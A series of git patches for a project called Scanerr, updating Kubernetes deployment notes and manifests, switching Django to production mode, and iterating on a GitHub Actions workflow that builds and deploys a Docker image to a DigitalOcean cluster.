+++ b/k8s/kubernetes-notes.md
@@ -87,7 +87,7 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 1. Create docker secrets  
-- `kubectl $scanerrk8s create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
+- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
 
 
 ### 1. Build Dockerfile into image
@@ -96,32 +96,42 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 2. Install nginx ingress controler on cluster
-`kubectl $scanerrk8s apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+- `kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+- Then add and `A` record for domain that points to new loadbalancer
 
 
-### 3. Spin Scanerr deployments and services
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
+### 3. Update ingress-nginx-controler "Service file" with domain
+- add the below annotation 
+- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api2.scanerr.io"`
+
+
+### 4. Spin up Scanerr deployments and services
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 
 
-### 4. Add app Ingress
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+### 5. Add app Ingress
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 
 
-### 5. Install cert-manager
-- `kubectl $scanerrk8s apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
+### 6. Install cert-manager
+- `kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
 
 
-### 6. Add cert issure
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+### 7. Add cert issure
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+- NOTE: May have to wait a bit before running this one
   
 
-### 7. Update app Ingress for TLS 
-- Uncomment the TLS section, cert-manager.io/cluster-issuer annotation & reapply 
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+### 8. Update app Ingress for TLS 
+- Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply 
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 
 
-### 8. Update ingress-nginx-controler with domain
-- add the below annotation 
-- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api1.scanerr.io"`
\ No newline at end of file
+### NOTES:
+ - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
+   - `kubectl delete certificate <cert-name>`
+   - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
+
diff --git a/k8s/prod/app-cert-issuer.yaml b/k8s/prod/app-cert-issuer.yaml
index a209dd61..761662e3 100644
--- a/k8s/prod/app-cert-issuer.yaml
+++ b/k8s/prod/app-cert-issuer.yaml
@@ -6,7 +6,7 @@ metadata:
 spec:
   acme:
     # The ACME server URL
-    server: https://acme-staging-v02.api.letsencrypt.org/directory # https://acme-v02.api.letsencrypt.org/directory
+    server: https://acme-v02.api.letsencrypt.org/directory # https://acme-staging-v02.api.letsencrypt.org/directory
     # Email address used for ACME registration
     email: hello@scanerr.io
     # Name of a secret used to store the ACME account private key
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5c841598..56be1ddf 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,8 +18,8 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: landonr/scanerr-server
-          imagePullPolicy: IfNotPresent
+          image: <IMAGE> # landonr/scanerr-server
+          imagePullPolicy: Always
           ports:
             - containerPort: 8000
           command: ["/bin/sh", "-c"]
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index dc192178..b992937d 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -1,16 +1,18 @@
 apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
+  ## ensure below section is commented out on first creation ##
   annotations:
-    cert-manager.io/cluster-issuer: letsencrypt-nginx
+    cert-manager.io/cluster-issuer: letsencrypt-nginx     
   name: app-ingress
 spec:
+  ## ensure below section is comented out on first creation ##
   tls:
     - hosts:
-      - api1.scanerr.io
+      - api2.scanerr.io
       secretName: letsencrypt-nginx
   rules:
-  - host: api1.scanerr.io
+  - host: api2.scanerr.io
     http:
       paths:
       - backend:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 9ed7b8e9..74b5d581 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,8 +18,8 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: landonr/scanerr-server
-          imagePullPolicy: IfNotPresent
+          image: <IMAGE> # landonr/scanerr-server
+          imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
             - configMapRef:

From 9f3b345a65aef082fad7092080f4a56acc76b52b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:10:04 -0500
Subject: [PATCH 007/752] prod mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 1d4b50c8..38036859 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = True
+DEBUG = False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 37bee0dac68071e70b53170c698460c957870797 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:13:59 -0500
Subject: [PATCH 008/752] delete workflow

---
 .github/workflow/wokflow.yml | 68 ------------------------------------
 1 file changed, 68 deletions(-)
 delete mode 100644 .github/workflow/wokflow.yml

diff --git a/.github/workflow/wokflow.yml b/.github/workflow/wokflow.yml
deleted file mode 100644
index 4a3fcdd5..00000000
--- a/.github/workflow/wokflow.yml
+++ /dev/null
@@ -1,68 +0,0 @@
-# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
-# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
-# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
-
-name: Build, push, and deploy
-
-# Controls when the action will run.
-on:
-  # Triggers the workflow on push request on the main branch for changes in the specified paths.
-  push:
-    branches:
-      - main
-    paths:
-      - 'app/**'
-      - 'k8s/prod/**'
-      - 'Dockerfile'
-      - '.github/workflows/**'
-
-# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
-jobs:
-  # This workflow contains a single job called "build".
-  build:
-    # The type of runner that the job will run on.
-    runs-on: ubuntu-latest
-    
-    # Steps represent a sequence of tasks that will be executed as part of the job
-    steps:
-
-    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-    - name: Checkout master
-      uses: actions/checkout@main
-
-    # Install doctl.
-    - name: Install doctl
-      uses: digitalocean/action-doctl@v2
-      with:
-        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
-    
-    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-    - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
-
-    - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
-
-    - name: Push image to DigitalOcean Container Registry
-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
-
-    # Update deployment files to reflect new build.
-    - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
-    
-    - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
-
-    - name: Save DigitalOcean kubeconfig with short-lived credentials
-      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
-    
-    # Re-deploy app and Celery
-    - name: Deploy app
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
-    - name: Deploy celery 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
-
-    - name: Verify app
-      run: kubectl rollout status deployment/app-deployment
-    - name: Verify celery
-      run: kubectl rollout status deployment/celery-deployment
\ No newline at end of file

From 72dd40b9f52b0af6ccdb0d0d721a9f7f499137b2 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:15:35 -0500
Subject: [PATCH 009/752] Create main.yml

---
 .github/workflows/main.yml | 68 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 .github/workflows/main.yml

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
new file mode 100644
index 00000000..7f715bfa
--- /dev/null
+++ b/.github/workflows/main.yml
@@ -0,0 +1,68 @@
+# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
+# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+
+name: Build, push, and deploy
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
+
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout master
+      uses: actions/checkout@main
+
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
+
+    - name: Push image to DigitalOcean Container Registry
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    
+    # Re-deploy app and Celery
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment

From 71986965c655cc2a03dec895aa7528efc3f0115c Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 22:09:31 -0500
Subject: [PATCH 010/752] adding workflows

---
 .github/workflows/main.yml | 68 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 .github/workflows/main.yml

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
new file mode 100644
index 00000000..4a3fcdd5
--- /dev/null
+++ b/.github/workflows/main.yml
@@ -0,0 +1,68 @@
+# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
+# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+
+name: Build, push, and deploy
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
+
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout master
+      uses: actions/checkout@main
+
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
+
+    - name: Push image to DigitalOcean Container Registry
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    
+    # Re-deploy app and Celery
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment
\ No newline at end of file

From 89e80a1c11ed07377b0f8689ac26f78e5a90335c Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 22:13:40 -0500
Subject: [PATCH 011/752] testing new method

---
 .github/workflows/main.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
index 7f715bfa..5806bfb0 100644
--- a/.github/workflows/main.yml
+++ b/.github/workflows/main.yml
@@ -40,11 +40,11 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
-    - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
+    # - name: Log in to DigitalOcean Container Registry with short-lived credentials
+    #   run: doctl registry login --expiry-seconds 1200
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: doctl registry login --expiry-seconds 1200 && docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From 0095412fefa2bb833c1ac5c798acf9f54e97ba98 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 12:58:49 -0500
Subject: [PATCH 012/752] testing

---
 .github/workflows/{main.yml => workflow.yml} | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)
 rename .github/workflows/{main.yml => workflow.yml} (90%)

diff --git a/.github/workflows/main.yml b/.github/workflows/workflow.yml
similarity index 90%
rename from .github/workflows/main.yml
rename to .github/workflows/workflow.yml
index 5806bfb0..7f715bfa 100644
--- a/.github/workflows/main.yml
+++ b/.github/workflows/workflow.yml
@@ -40,11 +40,11 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
-    # - name: Log in to DigitalOcean Container Registry with short-lived credentials
-    #   run: doctl registry login --expiry-seconds 1200
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
 
     - name: Push image to DigitalOcean Container Registry
-      run: doctl registry login --expiry-seconds 1200 && docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From aab5e57b5e16e463bed8149803c4737852c3f253 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 13:10:38 -0500
Subject: [PATCH 013/752] testing nre method

---
 .github/workflows/workflow.yml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 7f715bfa..245227d1 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -41,7 +41,8 @@ jobs:
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
+      # run: doctl registry login --expiry-seconds 1200
+      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 05d54e87878357b7514458cff0385e681f9f475a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 13:11:43 -0500
Subject: [PATCH 014/752] fixing config

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 245227d1..032a380d 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } registry.digitalocean.com
+      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 18510f67622c580bb4378c978ddaeb3f96928fbd Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 13:18:19 -0500
Subject: [PATCH 015/752] new method

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 032a380d..9574f48f 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} registry.digitalocean.com
+      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From b47a5a6202c8cd67d9092f350e6292081bb63e3b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 16:07:45 -0500
Subject: [PATCH 016/752] new trial

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 9574f48f..d06725c0 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
+      run: docker login --username-stdin ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From b7fcaec0c708c8a335172a5bf33ed058702a1f98 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 16:15:41 -0500
Subject: [PATCH 017/752] fixed flags

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index d06725c0..d16bf2e3 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login --username-stdin ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
+      run: docker login -u ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 2d32424da4c72334552f30cf8d1db9580ffa06f2 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 16:23:30 -0500
Subject: [PATCH 018/752] testing

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index d16bf2e3..7708966f 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
+      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 3814968312260fdcb2fcd88d8120ac1ea90799c7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:07:06 -0500
Subject: [PATCH 019/752] testing new registry

---
 .github/workflows/workflow.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 7708966f..5edcf4bc 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -41,11 +41,11 @@ jobs:
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
+      run: doctl registry login --expiry-seconds 1200
+      # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker push registry.digitalocean.com/${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From fbbf687efb9e0ae3b447297dfdb14dfacc1d2b92 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:16:28 -0500
Subject: [PATCH 020/752] fixed file naming bug

---
 .github/workflows/workflow.yml  | 2 +-
 k8s/prod/app-deployment.yaml    | 4 ++--
 k8s/prod/celery-deployment.yaml | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 5edcf4bc..a513fe4d 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -45,7 +45,7 @@ jobs:
       # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker push registry.digitalocean.com/${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 56be1ddf..1a680841 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -38,8 +38,8 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "1"
-              memory: "1Gi"
+              cpu: "2"
+              memory: "2Gi"
             requests:
               cpu: "500m"
               memory: "500Mi"
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 74b5d581..4e9d7d72 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -26,8 +26,8 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "1"
-              memory: "1Gi"
+              cpu: "2"
+              memory: "2Gi"
             requests:
               cpu: "500m"
               memory: "500Mi"

From 22186971c9397ca98ee8d3b9cffbdc87bf613685 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:37:11 -0500
Subject: [PATCH 021/752] testing one last time

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index a513fe4d..9adb8170 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -45,7 +45,7 @@ jobs:
       # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
